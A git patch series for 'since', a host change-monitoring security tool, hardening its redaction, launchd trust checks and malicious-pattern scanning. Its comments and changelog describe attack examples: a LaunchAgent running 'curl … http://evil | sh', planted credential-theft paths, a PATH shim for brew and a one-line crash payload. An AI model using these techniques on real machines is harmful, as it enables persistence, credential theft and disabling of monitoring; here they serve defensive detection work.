a/CHANGELOG.md b/CHANGELOG.md index 46f9d36..90b4fa4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by execution before being fixed, and each pinned by a regression test that was *mutation-tested* -(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **176**. Most of these sat +(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **177**. Most of these sat behind an architectural blind spot rather than inside any one function: - Every previous audit round hardened the **snapshot** boundary; **diff-time enrichment had no @@ -44,9 +44,12 @@ behind an architectural blind spot rather than inside any one function: an attacker buy *silence* by breaking a collector's tool, since neither the old phantom flood nor a note ever reached the `--notify` threshold. A category that was visible in the baseline and isn't now yields an ORANGE **"LOST VISIBILITY"** finding that ranks under "worth a look" and - fires the notification. A first run, a legitimately absent tool, or the one-time pre-v0.4.4 - stamp transition stays a quiet note — verified in all three directions. (Found by reviewing the - capability guard added earlier in this same release.) + fires the notification — and that covers a tool that merely **changed** as well as one that + vanished, because the pinned job `PATH` necessarily includes user-writable directories, so + planting `~/.local/bin/brew` swaps the tool identity *without* erroring and was the cheapest + suppression route of all. A first run, a legitimately absent tool, and the one-time pre-v0.4.4 + stamp transition stay quiet notes — all verified. (Both found by reviewing the capability guard + added earlier in this same release.) - **`difflib` was quadratic on a planted rc file** (~100 distinct repeated lines defeat its autojunk filter): a 0.74 MB `~/.zshrc` cost 32s of a real digest run. `MAX_READ` bounded the read; nothing bounded the diff. Above 20k lines / 1 MB the change is reported *with a content diff --git a/README.md b/README.md index 3c65227..dc0da50 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 176 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 177 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/since.py b/since.py index 0cd5e25..78f03d7 100755 --- a/since.py +++ b/since.py @@ -1511,12 +1511,22 @@ def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: attacker who breaks `brew` would otherwise buy silence for their own install. A first run, or a baseline predating tool stamping, is NOT a loss — that's benign and gets a note only.""" bt = baseline.get("tools") or {} + ct = current.get("tools") be = baseline.get("errors", {}) or {} ce = current.get("errors", {}) or {} lost = {} for cat, why in unusable.items(): had_it = bool(bt.get(cat)) and cat not in be # baseline could genuinely see it - if had_it and (cat in ce or not (current.get("tools") or {}).get(cat)): + if not had_it or ct is None: + continue # first run, absent in both, or the pre-stamp transition: benign + gone = cat in ce or not ct.get(cat) + # A tool that merely CHANGED is equally a loss of comparability, and equally abusable: + # the daily job's pinned PATH necessarily includes user-writable dirs, so planting + # ~/.local/bin/brew swaps the identity WITHOUT erroring — and a passive note bought the + # attacker silence for their own package. Rare enough in normal use (a Homebrew + # reinstall, a python upgrade) to be worth one look when it happens. + swapped = bool(ct.get(cat)) and ct.get(cat) != bt.get(cat) + if gone or swapped: lost[cat] = why return lost diff --git a/tests/test_since.py b/tests/test_since.py index 1feb6b0..1b4cae0 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1068,3 +1068,17 @@ def test_tool_absent_in_both_snapshots_is_silent(): b = _cap_snap({}, errors={"brew": "not on PATH: brew"}, tools={"brew": ""}) assert since.unusable_cats(a, b) == {} # nothing to compare either way assert since.coverage_lost(a, b, {}) == {} + + +def test_tool_swap_is_also_lost_coverage(): + """A planted shim (`~/.local/bin/brew`) changes the tool IDENTITY without erroring. The + daily job's pinned PATH necessarily includes user-writable dirs, so this is the cheapest + suppression route: it must rank and notify, not whisper a note.""" + good = _cap_snap({f"pkg{i}": "1" for i in range(50)}, tools={"brew": "/opt/homebrew/bin/brew"}) + shim = _cap_snap({f"pkg{i}": "1" for i in range(50)}, tools={"brew": "/home/u/.local/bin/brew"}) + unusable = since.unusable_cats(good, shim) + lost = since.coverage_lost(good, shim, unusable) + assert "brew" in lost, "a swapped tool bought the attacker silence" + findings = since.build_findings(good, shim, skip_cats=tuple(unusable), coverage=lost) + assert since.max_level(findings) >= since.ORANGE + assert not [f for f in findings if f["category"] == "brew"] # still no phantom flood From 9dccc225025e64b448e576203713d98a32571658 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 12:14:48 +0530 Subject: [PATCH 5/7] v0.4.4: fix 7 more issues, all introduced by this same fix batch Re-attacked v0.4.4 before publishing it (two adversarial reviewers plus my own passes), then verified every claim by execution against v0.4.3 as control. The fix batch had introduced its own problems, one of them worse than anything it fixed. Suite 177 -> 221; 40/40 mutations caught cumulatively. CRITICAL - the new redact() tail rescan was an unprivileged kill switch. It recursed once per credential-ish key on a line, so `# ` + `_pwd ` x819 (2.5KB, UNDER _REDACT_MAX so the cap did not help) raised RecursionError. Nothing catches it: the digest died before saving a snapshot, the line stayed "added", and every later run died identically. One line appended to ~/.zshrc disabled the tool forever - the same self-perpetuating class I had just fixed for plists, and cheaper to trigger. The rescan is now depth-bounded and fails SAFE (redact); cost is ~1.4x v0.4.3 instead of quadratic. Also fixed: - a skipped category no longer becomes its own baseline (the blind day's snapshot did, so an install during the blind window was never reported by any run, while the report said "Nothing changed"); it is now diffed against the newest earlier snapshot with the same tool, and the all-clear no longer lies. - need() proved a tool RESOLVES, not that it RAN, so the `brew list` timeout that motivated the guard still produced the flood; collectors use a checked runner. - the guard crashed on a wrong-typed tools/errors field in a baseline - the same class fixed twice already in this release - with no snapshot saved, forever. - the blob storage cap silently disabled RED escalation: a payload past BLOB_MAX never reached the diff text. Malicious patterns are now scanned over the full content at snapshot time and diffed as flags (schema 5). - plutil was handed unbounded input (500MB plist -> 2.27GB RSS); now size-gated. - a malicious LaunchAgent was labelled "Apple-signed" because ["/bin/sh","-c", "curl ...|sh"] resolves to /bin/sh, which is; the argv is now scanned and outranks the interpreter's signature, and an overwritten existing plist is trust-checked instead of being a quiet YELLOW hash change. Three of my new tests were theater and the mutation matrix caught them: two asserted behaviour that a different fix also provided, and one tested a helper without pinning that the collectors use it. Fixed by adding the cases that actually discriminate. Verified: 221 tests; 40/40 mutations; 43/43 adversarial redact cases both directions; kill-switch payload now completes and saves; snapshot parity with the previous commit (0 collector differences); every command e2e on a real machine; py3.9 syntax; py_compile; bash -n. Co-Authored-By: Claude --- CHANGELOG.md | 32 +++++- README.md | 2 +- since.py | 252 ++++++++++++++++++++++++++++++++++++-------- tests/test_since.py | 234 +++++++++++++++++++++++++++++++++++++++- 4 files changed, 471 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 90b4fa4..e2c924e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by execution before being fixed, and each pinned by a regression test that was *mutation-tested* -(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **177**. Most of these sat +(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **221**. Most of these sat behind an architectural blind spot rather than inside any one function: - Every previous audit round hardened the **snapshot** boundary; **diff-time enrichment had no @@ -81,6 +81,36 @@ behind an architectural blind spot rather than inside any one function: read cap meant ~109 MB per snapshot and ~9.6 GB across `KEEP_SNAPSHOTS=90` → ~293 MB, with changes past the cap still detected. +**Second review round — 7 more issues, all in this very fix batch.** Re-attacking v0.4.4 before +publishing it found that the fixes above had introduced their own problems. Fixed, each with a +mutation-tested regression test (40/40 mutations caught cumulatively): +- **CRITICAL: the new `redact()` tail rescan was an unprivileged kill switch.** It recursed once per + credential-ish key on a line, so a 2.5 KB comment of repeated `_pwd ` — under `_REDACT_MAX`, so + the cap did not help — raised `RecursionError`. Nothing catches it, the digest died before saving + a snapshot, the planted line stayed "added", and **every later run died identically**: one line in + `~/.zshrc` disabled the tool permanently. The rescan depth is now bounded and fails *safe* + (redact), and the cost is back to ~1.4× v0.4.3 instead of quadratic. +- **A skipped category no longer becomes its own baseline.** The capability guard skipped the blind + day — but that snapshot still became tomorrow's baseline, so a package installed during the blind + window was never reported by *any* run while the report said "Nothing changed. 🎉". A skipped + category is now diffed against the newest earlier snapshot that could see it with the same tool, + and the all-clear line no longer claims nothing changed when something could not be compared. +- **`need()` proved a tool RESOLVES, never that it RAN**, so the `brew list` timeout named as the + guard's own motivation still produced the phantom flood. Collectors now use a checked runner that + records a timeout or a failing exit as unavailability (tolerating `npm`'s non-zero-with-output). +- **The guard crashed on a wrong-typed `tools`/`errors` field** in a baseline — the same class this + release had already fixed twice — killing the digest with no snapshot saved, permanently. +- **The storage cap silently disabled RED escalation.** A payload appended past `BLOB_MAX` (or past + the diff cap) never reached the diff text, so a `curl | sh` line fell to ORANGE with no `why`. + Malicious patterns are now scanned over the *full* content at snapshot time and diffed as flags. +- **`plutil` was handed unbounded input** at diff time (a 500 MB plist measured 2.27 GB RSS); the + plist is size-gated now, like every collector read. +- **A malicious LaunchAgent was labelled "signature: Apple-signed".** `ProgramArguments = + ["/bin/sh","-c","curl …|sh"]` resolves to `/bin/sh`, which genuinely is — so the report reassured + the user about the payload. The argv is now scanned for malicious patterns (which outrank any + signature on the interpreter), and an overwritten *existing* plist — the classic hijack — is + trust-checked and escalated instead of being a quiet YELLOW hash change. + **Docs:** `SECURITY.md`'s `PATH` paragraph was **wrong by omission** — it presented the daily job's minimal `PATH` purely as a safety property when it was also the cause of the blindness above. It now states the trade plainly: the pinned `PATH` includes user-writable directories, and `since` diff --git a/README.md b/README.md index dc0da50..9b748f9 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 177 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 221 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/since.py b/since.py index 78f03d7..543b958 100755 --- a/since.py +++ b/since.py @@ -60,7 +60,7 @@ from pathlib import Path __version__ = "0.4.4" -SCHEMA_VERSION = 4 # 4 adds snap['tools'] (collector tool identity) +SCHEMA_VERSION = 5 # 4: snap['tools'] (tool identity); 5: snap['blob_flags'] if sys.version_info < (3, 9): # uses PEP 585 generics in annotations + os.replace sys.exit("since requires Python 3.9 or newer") @@ -151,6 +151,7 @@ def tilde(p: str) -> str: return p +MAX_ARGV = 4096 # cap the plist argv string we scan/render MAX_READ = 8 * 1024 * 1024 # plists/.desktop/manifests/rc files are KBs; 8MB is generous DIFF_MAX_LINES = 20_000 # above this, report the change without a quadratic line diff DIFF_MAX_BYTES = 1024 * 1024 @@ -308,7 +309,7 @@ def q(s: str) -> str: # Anchored, bounded, no nested quantifier — linear. _CMDPASS_RE = re.compile( r"(?i)(\b(?:sshpass\s+-p|sshpass\s+--password[= ]|--password[= ]|--token[= ]|" - r"mysql(?:dump|admin)?\s+(?:-\w+\s+){0,4}-p)\s*)(\S+)") + r"mysql(?:dump|admin)?\s+(?:-\w+(?:[= ]\S+)?\s+){0,4}-p)\s*)(\S+)") _B64LINE_RE = re.compile(r"^[A-Za-z0-9+/]{40,}={0,2}$") # PEM body / raw key _KW_VALUES = {"yes", "no", "true", "false", "none", "null", "required", "optional", "default", "auto", "inherit", "prohibit-password"} @@ -331,18 +332,34 @@ def q(s: str) -> str: # more TAGS (`PASSWD:NOEXEC: /tmp/miner`) or a comma list (`ALL, !/usr/bin/su`). The v0.4.3 # gate tested only `tok == "ALL" or tok[0] in "/!"`, so both ordinary spellings still had the # granted command list redacted away — the single most important thing in a sudoers diff. -_SUDO_CMD_RE = re.compile(r"^(?:ALL\b|[/!])") +_SUDO_CMD_RE = re.compile(r"^(?:ALL(?=$|[\s,:=])|[/!])") # \b also matched `ALL,` _SUDO_TAG_RE = re.compile(r"^(?:NO)?(?:PASSWD|EXEC|SETENV|LOG_INPUT|LOG_OUTPUT|" r"MAIL|FOLLOW|INTERCEPT):", re.I) # Keys whose VALUE is a FILESYSTEM PATH even though the key names a credential: every one is # a known credential-theft / agent-hijack technique when planted in a tracked rc file # (SSH_ASKPASS=/tmp/steal.sh, SSH_AUTH_SOCK=/tmp/.evil/agent.sock, PGPASSFILE=…), and the # path IS the finding. The unconditional `=`/`:` redaction concealed them completely. +# A real filesystem path, i.e. one with a directory separator — NOT merely "starts with / ~ $". +# The looser test leaked: a base64 secret starts with '/' about 1 time in 64 and every +# crypt/bcrypt hash starts with '$', so `SECRET_FILE=/hunter2…` printed in cleartext. +_REAL_PATH_RE = re.compile(r"^(?:/[^/\s]+/|~/|\./|\.\./|\$\{?\w+\}?/)") _PATH_VALUED_KEY_RE = re.compile( r"(?i)(askpass|passfile|pass_file|keysfile|keyscommand|[_-]sock$|_socket$|" r"[_-]file$|[_-]dir$|[_-]path$)") _REDACT_MAX = 4096 +_SHOW_MAX_DEPTH = 8 # bounds the tail rescan; at the cap redact rather than recurse + +def _sudo_cmd_spec(tok: str) -> bool: + """True if `tok` opens a sudoers COMMAND SPEC: a further tag (`NOEXEC:`), or `ALL` / + (negated) absolute paths, possibly as a comma list. Checking only the first element let + `PASSWD: ALL,` through, because the gate then exempts the whole remainder.""" + if _SUDO_TAG_RE.match(tok): + return True + parts = [p.strip() for p in tok.split(",") if p.strip()] + return bool(parts) and all(_SUDO_CMD_RE.match(p) for p in parts) + + def _char_classes(tok: str) -> int: return sum(bool(re.search(p, tok)) for p in (r"[a-z]", r"[A-Z]", r"[0-9]", r"[^A-Za-z0-9]")) @@ -381,24 +398,40 @@ def redact(line: str) -> str: line = _USERPASS_RE.sub(r"\1«redacted»", line) line = _TOKEN_RE.sub("«redacted»", line) - def _show(m, key, sep, val): + def _show(m, key, sep, val, depth): """A SHOW decision must expose only THIS key's value, not the whole rest of the line: `_KV_RE`'s value group runs to end-of-line, so returning it verbatim also exempted any - later secret on the same line (`AuthorizedKeysCommand /usr/bin/fk --api-key=`, - `NOPASSWD: /usr/bin/sshpass -p `). Re-scan the tail; each nested pass consumes - at least its own key, so this terminates.""" - inner = _KV_RE.sub(_kv, val) if _KV_KW_RE.search(val) else val + later secret on the same line (`AuthorizedKeysCommand /usr/bin/fk --api-key=`). + Re-scan the tail — but BOUND the nesting: "each pass consumes its own key so it + terminates" was true and useless, because one line can hold hundreds of keys. A 2.5KB + comment of repeated `_pwd ` (well under _REDACT_MAX, so truncation did not help) + recursed ~800 deep and raised RecursionError, which nothing catches: the digest died + before saving a snapshot, so the planted line stayed "added" and every later run died + identically — an unprivileged one-line kill switch. At the cap, fail SAFE (redact).""" + if depth >= _SHOW_MAX_DEPTH: + return f"{key}{sep}«redacted»" + inner = (_KV_RE.sub(lambda mm: _kv(mm, depth + 1), val) + if _KV_KW_RE.search(val) else val) inner = _CMDPASS_RE.sub(lambda mm: f"{mm.group(1)}«redacted»", inner) return f"{key}{sep}{inner}" - def _kv(m): + def _kv(m, depth=0): key, sep, val = m.group(1), m.group(2), m.group(3) tok = val.split()[0] if val.split() else "" + # A key preceded by '/' is a FILENAME component, not an assignment target: in + # `NOPASSWD: /usr/bin/passwd backdoor2026` the "key" is the command being granted, and + # treating it as a credential redacted the account being reset — the single most + # important detail in a sudoers diff. Same for `/usr/local/bin/passwd_sync.sh --dest …`. + if m.start(1) > 0 and m.string[m.start(1) - 1] == "/": + return _show(m, key, sep, val, depth) # sudoers TAGS are grants, not secrets — but gate on the EXACT uppercase tag, not a # substring: `"nopasswd" in key` also exempted `export NOPASSWD_TOKEN=`. - if key in _SUDO_TAGS and ":" in sep and (_SUDO_CMD_RE.match(tok) - or _SUDO_TAG_RE.match(tok)): - return _show(m, key, sep, val) + if key in _SUDO_TAGS and ":" in sep and _sudo_cmd_spec(tok): + # INTACT, deliberately: the granted command list is the payload of a sudoers diff + # (which account is reset, which host the command talks to). Rescanning it masked + # exactly that. Known credential shapes inside it were already masked above by + # _CMDPASS_RE / _TOKEN_RE / _SCHEME_RE, which run over the whole line first. + return m.group(0) if _HARD_SECRET_RE.search(key): # The key literally NAMES a credential, so the value IS the secret. # An assignment (`password=…`, `_auth:…`, `SSHPASS=…`) redacts UNCONDITIONALLY: @@ -415,11 +448,14 @@ def _kv(m): # stays unconditionally masked: a real token can begin with '/' or '$'. if len(val.split()) == 1 and ( tok.lower() in _KW_VALUES - or (_PATH_VALUED_KEY_RE.search(key) and _is_directive_value(tok))): - return m.group(0) # single-token value: nothing follows to re-scan + or (_PATH_VALUED_KEY_RE.search(key) and _REAL_PATH_RE.match(tok))): + # _show, NOT m.group(0): "one whitespace token" does NOT mean "nothing + # follows" — a shell chains with ';'/'&&'/'|', so + # `SSH_ASKPASS=/tmp/a.sh;MYSQL_PWD=` printed the password. + return _show(m, key, sep, val, depth) return f"{key}{sep}«redacted»" if _is_directive_value(tok) or len(tok) < 6 or _char_classes(tok) < 2: - return _show(m, key, sep, val) + return _show(m, key, sep, val, depth) return f"{key}{sep}«redacted»" # SOFT (falls through to _show, which re-scans the tail — see L5): # the key only CONTAINS a directive name (`AuthorizedKeysFile`, @@ -427,7 +463,7 @@ def _kv(m): # relative like `.ssh/authorized_keys`), a username, or a keyword — real token # shapes were already masked by the regexes above. SHOW it, so a malicious # AuthorizedKeys* change stays visible (the whole point of #2). - return _show(m, key, sep, val) + return _show(m, key, sep, val, depth) return _KV_RE.sub(_kv, line) if _KV_KW_RE.search(line) else line @@ -465,26 +501,43 @@ def trust_of(path: str): return ("unknown", False) -def program_of_plist(plist_path: str): - """Extract the executable a launchd plist runs, so we can trust-check it.""" +def plist_program_and_argv(plist_path: str): + """(program, full argv string) from a launchd plist. The argv matters as much as the + program: `ProgramArguments = ["/bin/sh","-c","curl -s http://evil|sh"]` resolves to + /bin/sh, which is genuinely Apple-signed — so the report printed "signature: Apple-signed" + next to a malicious startup item, which is worse than saying nothing. The caller scans the + argv for malicious patterns so the interpreter's own signature can't launder the payload.""" real = plist_path.replace("~", str(HOME), 1) if plist_path.startswith("~") else plist_path + # Size-gate BEFORE spawning plutil: its output is read into memory, so a planted 500MB + # plist cost 2.27GB RSS at diff time (the collector read path is capped for this reason; + # this one was not). The 8s timeout does not bind — the work is linear, not slow. + try: + if not is_regular(real) or os.path.getsize(real) > MAX_READ: + return (None, "") + except OSError: + return (None, "") out = run(["plutil", "-convert", "json", "-o", "-", real], timeout=8) try: d = json.loads(out) except Exception: - return None + return (None, "") # A *valid* plist can have a non-dict root (``), so plutil emits `["x"]` and the # old `d.get(...)` raised AttributeError. That crash was fatal AND self-perpetuating: # the snapshot is saved only after build_findings, so the plist stayed "added" and the # daily digest died identically every day. Validate the shape of every value used. if not isinstance(d, dict): - return None - if isinstance(d.get("Program"), str): - return d["Program"] + return (None, "") + prog = d.get("Program") if isinstance(d.get("Program"), str) else None args = d.get("ProgramArguments") - if isinstance(args, list) and args and isinstance(args[0], str): - return args[0] - return None + argv = [a for a in args if isinstance(a, str)] if isinstance(args, list) else [] + if prog is None and argv: + prog = argv[0] + return (prog, " ".join(argv)[:MAX_ARGV]) + + +def program_of_plist(plist_path: str): + """Just the executable a launchd plist runs, so we can trust-check it.""" + return plist_program_and_argv(plist_path)[0] # --------------------------------------------------------------------------- @@ -672,7 +725,7 @@ def _mac_net_config(): def _mac_brew(): need("brew") res = {} - for line in run(["brew", "list", "--versions"], timeout=40).splitlines(): + for line in run_checked(["brew", "list", "--versions"], timeout=40).splitlines(): parts = line.split() if parts: res[parts[0]] = parts[-1] if len(parts) > 1 else "" @@ -686,7 +739,7 @@ def _mac_brew(): def _npm_global(): need("npm") - out = run(["npm", "ls", "-g", "--depth=0", "--json"], timeout=25) + out = run_checked(["npm", "ls", "-g", "--depth=0", "--json"], timeout=25) if not out.strip(): return {} try: @@ -702,7 +755,7 @@ def _pip(): # disagree. need() at least turns "pip3 absent" into a guarded skip rather than # "every package removed"; install.sh pins the job's PATH so both agree. need("pip3") - out = run(["pip3", "list", "--format=freeze"], timeout=25) + out = run_checked(["pip3", "list", "--format=freeze"], timeout=25) res = {} for line in out.splitlines(): if "==" in line: @@ -728,7 +781,7 @@ def _mac_applications(): def _mac_mas(): need("mas") - out = run(["mas", "list"], timeout=15) + out = run_checked(["mas", "list"], timeout=15) res = {} for line in out.splitlines(): m = re.match(r"(\d+)\s+(.*?)\s+\(([^)]+)\)\s*$", line) @@ -761,6 +814,24 @@ def need(*tools): raise ToolUnavailable("not on PATH: " + ", ".join(missing)) +def run_checked(cmd, timeout=15): + """run() but a FAILURE IS AN ERROR, not an empty result. `run()` returns "" for a timeout, + a crash and "no output" alike, so a `brew list` that timed out (40s, plausible under load) + produced an empty collector with NO error recorded — the capability guard keys off + snap["errors"], so it could not fire and the 192-phantom-removal flood came back, exactly + the incident this release claims to have fixed. Non-zero WITH output is tolerated: `npm ls -g` + exits non-zero on peer-dependency complaints while still printing valid JSON.""" + try: + p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, errors="replace") + except subprocess.TimeoutExpired: + raise ToolUnavailable(f"{cmd[0]} timed out after {timeout}s") + except OSError as e: + raise ToolUnavailable(f"{cmd[0]} could not run ({e.__class__.__name__})") + if p.returncode != 0 and not p.stdout.strip(): + raise ToolUnavailable(f"{cmd[0]} failed (exit {p.returncode})") + return p.stdout + + def _has(cmd: str) -> bool: return bool(run(["sh", "-c", f"command -v {shlex.quote(cmd)}"]).strip()) @@ -1001,11 +1072,20 @@ def backend_for(cat_key: str): # text files whose *contents* we track, so we can show the exact line that changed -def text_sources() -> dict[str, str]: +def text_sources(flags: dict | None = None) -> dict[str, str]: out: dict[str, str] = {} def add(label, content): if content and content.strip(): + # Scan for malicious patterns over the FULL content, BEFORE the storage cap: the + # stored blob is truncated at BLOB_MAX and the diff is skipped above DIFF_MAX_*, so + # a payload appended after ~300KB of padding never reached the diff — the change was + # still detected (the sha covers everything) but it silently fell RED -> ORANGE and + # lost its "why". Flags are diffed separately, so escalation survives truncation. + if flags is not None: + hits = sorted({desc for pat, desc in MALICIOUS_PATTERNS if pat.search(content)}) + if hits: + flags[label] = hits if len(content) > BLOB_MAX: content = (content[:BLOB_MAX] + f"\n… [truncated at {BLOB_MAX} bytes for storage; " @@ -1088,6 +1168,7 @@ def take_snapshot(all_cats=True) -> dict: if PLATFORM == "macos" else platform_module.node()), "collectors": {}, "blobs": {}, + "blob_flags": {}, "errors": {}, } for key, _lbl, _mac, _lin, _cls, _tier in CATEGORIES: @@ -1102,7 +1183,9 @@ def take_snapshot(all_cats=True) -> dict: snap["collectors"][key] = {} snap["errors"][key] = str(e) try: - snap["blobs"] = text_sources() + flags: dict = {} + snap["blobs"] = text_sources(flags) + snap["blob_flags"] = flags except Exception as e: snap["errors"]["blobs"] = str(e) return snap @@ -1473,6 +1556,11 @@ def _is_priv_blob(key: str) -> bool: CAT_TOOLS = {"brew": "brew", "npm_global": "npm", "pip": "pip3", "mac_app_store": "mas"} +def _dict(v) -> dict: + """A dict or an empty one — never trust a field's TYPE in a snapshot we did not just build.""" + return v if isinstance(v, dict) else {} + + def tool_identity() -> dict: return {cat: (shutil.which(tool) or "") for cat, tool in CAT_TOOLS.items()} @@ -1482,8 +1570,12 @@ def unusable_cats(baseline: dict, current: dict) -> dict: snapshots. Comparing those fabricates mass add/remove — the same trap the privilege guard closes for listening/outbound. If it failed in BOTH there is nothing to compare either way, so skip silently; a one-sided failure is what the user must be told about.""" - be = baseline.get("errors", {}) or {} - ce = current.get("errors", {}) or {} + # _dict(): the SAME class of bug this release fixed twice already (labels.json, per-category + # collector values). unusable_cats is the first code to read the BASELINE's errors/tools, and + # a wrong type there (hand-edit, bad restore, malware with state-dir write access) raised + # AttributeError/TypeError out of an unisolated path — killing the digest before it saved a + # snapshot, so the bad baseline was re-read and it failed identically every day. + be, ce = _dict(baseline.get("errors")), _dict(current.get("errors")) out = {} for k in set(be) | set(ce): if k in CAT and (k in be) != (k in ce): @@ -1492,7 +1584,8 @@ def unusable_cats(baseline: dict, current: dict) -> dict: # (a shell run finds /opt/homebrew/bin/pip3, the launchd job finds /usr/bin/pip3), so # every package looks swapped. Fail CLOSED when either side is unstamped (pre-v0.4.4): # we can't confirm they agree, and a fabricated flood can bury a real install. - bt, ct = baseline.get("tools"), current.get("tools") + bt = _dict(baseline.get("tools")) if isinstance(baseline.get("tools"), dict) else None + ct = _dict(current.get("tools")) if isinstance(current.get("tools"), dict) else None for cat in CAT_TOOLS: if cat in out or cat not in CAT: continue @@ -1510,10 +1603,9 @@ def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: but silently skipping it is not: losing visibility is itself a security event, and an attacker who breaks `brew` would otherwise buy silence for their own install. A first run, or a baseline predating tool stamping, is NOT a loss — that's benign and gets a note only.""" - bt = baseline.get("tools") or {} - ct = current.get("tools") - be = baseline.get("errors", {}) or {} - ce = current.get("errors", {}) or {} + bt = _dict(baseline.get("tools")) + ct = _dict(current.get("tools")) if isinstance(current.get("tools"), dict) else None + be, ce = _dict(baseline.get("errors")), _dict(current.get("errors")) lost = {} for cat, why in unusable.items(): had_it = bool(bt.get(cat)) and cat not in be # baseline could genuinely see it @@ -1531,8 +1623,40 @@ def coverage_lost(baseline: dict, current: dict, unusable: dict) -> dict: return lost +def cat_usable(cat: str, snap: dict) -> bool: + """Could `snap` actually SEE this category? (no collector error, and its tool resolved)""" + if cat in _dict(snap.get("errors")): + return False + if cat in CAT_TOOLS and not _dict(snap.get("tools")).get(cat): + return False + return True + + +def recover_baselines(current: dict, unusable) -> dict: + """{category: older_snapshot} for each skipped category we can see NOW — the newest earlier + snapshot that could see it with the SAME tool. + + Without this a skipped category silently vanishes: the blind snapshot still becomes + tomorrow's baseline, so a package installed during the blind window is never reported by any + run, ever, while the report says "Nothing changed". Walking back recovers it as soon as the + collector works again.""" + out = {} + for cat in sorted(unusable): + if not cat_usable(cat, current): + continue # still blind now: nothing to compare against + want = _dict(current.get("tools")).get(cat) + for path in reversed(list_snapshot_paths()): + older = safe_load(path) + if (older and cat_usable(cat, older) + and _dict(older.get("tools")).get(cat) == want): + out[cat] = older + break + return out + + def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats=(), - skip_priv_blobs=False, coverage: dict | None = None) -> list[dict]: + skip_priv_blobs=False, coverage: dict | None = None, + skip_blobs=False) -> list[dict]: rules = load_ignores() findings: list[dict] = [] for key, meta in CAT.items(): @@ -1589,7 +1713,7 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats f["trust"] = f"enrichment failed ({type(e).__name__})" findings.append(f) # text blobs (system files) - bb, bc = baseline.get("blobs", {}), current.get("blobs", {}) + bb, bc = ({}, {}) if skip_blobs else (baseline.get("blobs", {}), current.get("blobs", {})) for key in sorted(set(bb) | set(bc)): ob, oc = bb.get(key), bc.get(key) if ob == oc: @@ -1620,6 +1744,14 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats if pat.search(added_text): level, why = RED, desc break + # …and independently of the diff text: a flag that is NEW in this snapshot escalates even + # when the payload sits past BLOB_MAX or the line diff was skipped for size (see + # text_sources). Flags are computed over the whole file at snapshot time. + if why is None: + new_flags = [d for d in _dict(current.get("blob_flags")).get(key, []) + if d not in _dict(baseline.get("blob_flags")).get(key, [])] + if new_flags: + level, why = RED, new_flags[0] findings.append({"category": "config", "label": "System files", "cls": "config", "action": status, "key": key, "value": None, "level": level, "trust": None, "why": why, "undo": None, "diff": udiff}) @@ -1637,11 +1769,24 @@ def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats def _enrich(f: dict, current: dict): cat, action, key = f["category"], f["action"], f["key"] # signing/trust for new persistence programs & apps + # persistence: check "changed" too — overwriting an EXISTING plist is the classic hijack, + # and it previously got only a YELLOW content-hash line with no trust check and no notify. + if action in ("added", "changed") and cat == "launch_items": + prog, argv = plist_program_and_argv(key) + if prog: + label, suspicious = trust_of(prog) + f["trust"] = label + if suspicious: + f["level"] = RED + for pat, desc in MALICIOUS_PATTERNS: + if argv and pat.search(argv): + f["level"], f["why"] = RED, desc # beats any signature on the interpreter + break + if action == "changed": + f["level"] = max(f["level"], ORANGE) if action == "added": prog = None - if cat == "launch_items": - prog = program_of_plist(key) - elif cat == "applications": + if cat == "applications": # bare_key: the ' (~/Applications)' disambiguator is not part of the path prog = f"{f['value']}/{bare_key(key)}.app" if prog: @@ -1800,7 +1945,11 @@ def _is_loud(f): if len([x for x in L if x]) <= 2 + len(notes): L.append("") - L.append(paint("Nothing changed. 🎉", "green")) + if any("comparison skipped" in n for n in notes): + L.append(paint("No changes in what could be compared — but see the note(s) above: " + "at least one category could NOT be compared.", "yellow")) + else: + L.append(paint("Nothing changed. 🎉", "green")) if not IS_ROOT: L.append("") @@ -2010,12 +2159,27 @@ def cmd_diff(args, notify_on=False): f"{'root' if current.get('root') else 'user'}) — " "listening/outbound and sudoers/crontab comparison skipped to avoid false alarms.") + # A skipped category must not simply VANISH. The blind snapshot still becomes tomorrow's + # baseline, so without this an install made during the blind window is never reported by any + # run, ever — while the report cheerfully says "Nothing changed". Fall back to the newest + # EARLIER snapshot that could see the category with the same tool, and diff that instead. + recovered = recover_baselines(current, unusable) + findings = build_findings(baseline, current, coverage=lost, include_quiet=args.all, skip_cats=skip, skip_priv_blobs=skip_priv_blobs) big, growing, big_note = find_big_new_files(baseline.get("epoch", current["epoch"])) if big_note: notes.append(big_note) + for cat, older in sorted(recovered.items()): + findings += build_findings(older, current, include_quiet=args.all, skip_blobs=True, + skip_cats=tuple(k for k in CAT if k != cat)) + notes.append(f"{CAT[cat]['label']}: the baseline couldn't see it, so it was compared " + f"against the older snapshot from {clean(str(older.get('created')))[:16]}.") + if recovered: + findings.sort(key=lambda f: (-f["level"], f["category"], f["key"])) + skip = tuple(c for c in skip if c not in recovered) + 